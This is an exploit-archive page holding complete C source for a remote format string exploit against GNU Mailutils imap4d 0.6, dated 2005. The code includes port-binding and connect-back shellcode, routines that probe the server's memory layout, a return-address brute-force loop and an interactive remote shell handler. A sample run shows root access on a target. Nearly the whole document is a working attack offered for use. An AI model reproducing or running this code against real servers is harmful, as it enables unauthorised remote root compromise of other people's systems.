[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : GNU Mailutils imap4d <= 0.6 Remote Format String Exploit
# Published : 2005-08-01
# Author : CoKi
# Previous Title : CA BrightStor ARCserve Backup Agent (dbasqlr.exe) Remote Exploit
# Next Title : CA BrightStor ARCserve Backup (dsconfig.exe) Buffer Overflow
/* mu-imap4d_fsexp.c
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* Original Reference:
* http://www.idefense.com/application/poi/display?id=246&type=vulnerabilities
*
* coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* use: ./mu-imap4d_fsexp -h <target_host> [-p <target_port>]
* ./mu-imap4d_fsexp -h <target_host> -c <your_host> [-b <your_port>]
*
* -p target imapd port (143 by default)
* -c your host/ip
* -b your port (45295 by default)
*
* coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp -h 10.0.0.1
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] verifying host : 10.0.0.1
* [*] imapd port : 143
* [*] connecting... : done!
*
* [*] getting target info...
* [*] buffer address : 0x08059810
* [*] shellcode address : 0x080599a0
* [*] basic return address : 0xbffffa28
*
* [*] searching ret address... : 0xbffff988
*
* [!] you have a shell :)
*
* Linux firewall 2.4.31 #1 SMP Wed Jun 22 23:13:19 ART 2005 i586 unknown
* uid=0(root) gid=12(mail) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
* Tested in Slackware Linux 9.0 / 10.0 / 10.1
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFFERSIZE 2048
#define ERROR -1
#define TIMEOUT 3
#define PORTBIND 5074
#define CONNBACK 45295
#define IMAPD 143
void use(char *program);
int check(unsigned long addr);
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
void exploit(char *host, unsigned int imapdport);
void shell(char *host, unsigned port);
void getinfo(char *host, unsigned int imapdport);
int chkshaddr(char *host, unsigned int imapdport, int i);
/*
* s0t4ipv6@Shellcode.com.ar
* x86 portbind a shell in port 5074
* 92 bytes.
*/
char port_bind[] =
"x31xc0x50x40x89xc3x50x40"
"x50x89xe1xb0x66xcdx80x31"
"xd2x52x66x68x13xd2x43x66"
"x53x89xe1x6ax10x51x50x89"
"xe1xb0x66xcdx80x40x89x44"
"x24x04x43x43xb0x66xcdx80"
"x83xc4x0cx52x52x43xb0x66"
"xcdx80x93x89xd1xb0x3fxcd"
"x80x41x80xf9x03x75xf6x52"
"x68x6ex2fx73x68x68x2fx2f"
"x62x69x89xe3x52x53x89xe1"
"xb0x0bxcdx80";
/*
* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 124 byte - connect back shellcode (port=0xb0ef)
*/
char conn_back[] =
"x31xc0x31xdbx31xc9x51xb1"
"x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80"
"x89xc2x31xc0x31xc9x51x51"
"x68xffxffxffxffx66x68xff"
"xffxb1x02x66x51x89xe7xb3"
"x10x53x57x52x89xe1xb3x03"
"xb0x66xcdx80x31xc9x39xc1"
"x74x06x31xc0xb0x01xcdx80"
"x31xc0xb0x3fx89xd3xcdx80"
"x31xc0xb0x3fx89xd3xb1x01"
"xcdx80x31xc0xb0x3fx89xd3"
"xb1x02xcdx80x31xc0x31xd2"
"x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x50x53x89"
"xe1xb0x0bxcdx80x31xc0xb0"
"x01xcdx80";
int bretaddr=0, shaddr=0;
unsigned int pos=0, cback=0, shsize;
unsigned short rport=CONNBACK;
in_addr_t rhost=0;
int main(int argc, char *argv[]) {
char opt, *host=NULL, *rh=NULL;
int sockfd;
unsigned int imapdport=IMAPD;
struct hostent *he;
struct sockaddr_in dest_dir;
printf("n GNU Mailutils imap4d v0.6 remote format string exploitn");
printf(" by CoKi <coki@nosystem.com.ar>nn");
while((opt = getopt(argc,argv,"h:p:c:b:")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'p':
imapdport = atoi(optarg);
break;
case 'c':
rhost = inet_addr(optarg);
rh = optarg;
cback++;
break;
case 'b':
rport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}
if(host == NULL) use(argv[0]);
if(cback) {
printf(" [*] verifying your hostt:");
fflush(stdout);
if((he=gethostbyname(rh)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}
shsize = strlen(conn_back);
conn_back[33]=(rhost & 0x000000ff);
conn_back[34]=(rhost & 0x0000ff00) >> 8;
conn_back[35]=(rhost & 0x00ff0000) >> 16;
conn_back[36]=(rhost & 0xff000000) >> 24;
conn_back[39]=(rport & 0xff00) >> 8;
conn_back[40]=(rport & 0x00ff);
printf(" %sn", inet_ntoa(*((struct in_addr *)he->h_addr)));
printf(" [*] connect back porttt: %un", rport);
}
if(strlen(conn_back) < shsize) {
printf("n [!] failed! your host or port contain null-bytesnn");
exit(1);
}
printf(" [*] verifying target hostt:");
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}
printf(" %sn", inet_ntoa(*((struct in_addr *)he->h_addr)));
printf(" [*] target imapd porttt: %unn", imapdport);
printf(" [*] connecting...tt:");
fflush(stdout);
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(" closednn");
exit(1);
}
printf(" done!nn");
getinfo(host, imapdport);
exploit(host, imapdport);
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
void shell(char *host, unsigned int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
he=gethostbyname(host);
sockfd=socket(AF_INET, SOCK_STREAM, 0);
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf("rr");
}
else {
printf("nn [!] you have a shell :)nn");
fflush(stdout);
send(sockfd, command, strlen(command), 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
}
void getinfo(char *host, unsigned int imapdport) {
char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE], temp[BUFFERSIZE],*addr=NULL;
struct hostent *he;
struct sockaddr_in dest_dir;
int sockfd, i;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}
printf(" [*] getting target info...n");
fflush(stdout);
for(i=1; i<50; i++) {
bzero(recvbuf, sizeof(recvbuf));
sockfd=socket(AF_INET, SOCK_STREAM, 0);
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT);
read(sockfd, recvbuf, sizeof(recvbuf));
memset(evilcmd, 0x00, sizeof(evilcmd));
memset(evilcmd, 0x41, 496);
strcat(evilcmd, "BBBBBBBBBBBB");
sprintf(temp, ".%%%u$.8pn", i);
strcat(evilcmd, temp);
write(sockfd, evilcmd, strlen(evilcmd));
read(sockfd, recvbuf, sizeof(recvbuf));
close(sockfd);
addr = strstr(recvbuf, ".");
if(pos == 0) if(strstr(addr, "42424242")) pos = i;
if(shaddr == 0) {
if(strstr(addr, "0x08")) {
if(chkshaddr(host, imapdport, i)) {
shaddr = strtoul(++addr, 0, 0);
printf(" [*] buffer addresstt: %.8pn", shaddr);
shaddr += 350;
printf(" [*] shellcode addresstt: %.8pn", shaddr);
}
}
}
if(bretaddr == 0) {
if(strstr(addr, "0xbf")) {
bretaddr = strtoul(++addr, 0, 0);
printf(" [*] basic return addresst: %.8pn", bretaddr);
}
}
if(pos != 0 && shaddr != 0 && bretaddr != 0) break;
}
if(shaddr == 0) {
printf(" [*] shellcode addresstt: not found!nn");
exit(1);
}
if(bretaddr == 0) {
printf(" [*] basic return addresst: not found!nn");
exit(1);
}
printf("n");
}
int chkshaddr(char *host, unsigned int imapdport, int i) {
char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE], temp[BUFFERSIZE],*addr=NULL;
struct hostent *he;
struct sockaddr_in dest_dir;
int sockfd;
he=gethostbyname(host);
bzero(recvbuf, sizeof(recvbuf));
sockfd=socket(AF_INET, SOCK_STREAM, 0);
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT);
read(sockfd, recvbuf, sizeof(recvbuf));
memset(evilcmd, 0x00, sizeof(evilcmd));
memset(evilcmd, 0x41, 496);
strcat(evilcmd, "BBBBBBBBBBBB");
sprintf(temp, "%%%u$sn", i);
strcat(evilcmd, temp);
write(sockfd, evilcmd, strlen(evilcmd));
read(sockfd, recvbuf, sizeof(recvbuf));
close(sockfd);
if(strstr(recvbuf, "$s")) return 1;
else return 0;
}
void exploit(char *host, unsigned int imapdport) {
char evilcmd[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int cn1, cn2, cn3, cn4, sockfd, retaddr;
unsigned int bal1, bal2, bal3, bal4;
struct hostent *he;
struct sockaddr_in dest_dir;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}
for(retaddr=bretaddr; retaddr>=(bretaddr-500); retaddr -= 4) {
printf(" [*] searching ret address...t: %010p", retaddr);
fflush(stdout);
bzero(evilcmd, sizeof(evilcmd));
memset(evilcmd, 0x90, 496);
if(cback) memcpy(evilcmd + 350, conn_back, strlen(conn_back));
else memcpy(evilcmd + 350, port_bind, strlen(port_bind));
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
retaddr++;
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
retaddr++;
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
bal1 = (shaddr & 0xffff0000) >> 16;
bal2 = (shaddr & 0x0000ffff);
cn1 = bal2 - 496 - 12;
cn1 = check(cn1);
cn2 = bal1 - bal2;
cn2 = check(cn2);
sprintf(temp, "%%%du%%%u$n%%%du%%%u$n", cn1, pos, cn2, pos+2);
strcat(evilcmd, temp);
strcat(evilcmd, "n");
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket");
printf("n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(" closednn");
exit(1);
}
if (read(sockfd, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("n");
exit(1);
}
if (write(sockfd, evilcmd, strlen(evilcmd)) <= 0) {
perror(" write()");
printf("n");
exit(1);
}
close(sockfd);
if(cback) {
printf("rr");
continue;
}
else shell(host, PORTBIND);
retaddr -= 2;
}
if(cback) printf("nn [!] finished!nn");
else printf("nn [!] failed!nn");
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 10)
addr = addr + 65536;
return addr;
}
void use(char *program) {
printf(" use: %s -h <target_host> [-p <target_port>]n", program);
printf(" %s -h <target_host> -c <your_host> [-b <your_port>]nn", program);
printf(" -p target imapd port (143 by default)n");
printf(" -c your host/ipn");
printf(" -b your port (45295 by default)nn");
exit(1);
}
// www.Syue.com [2005-08-01]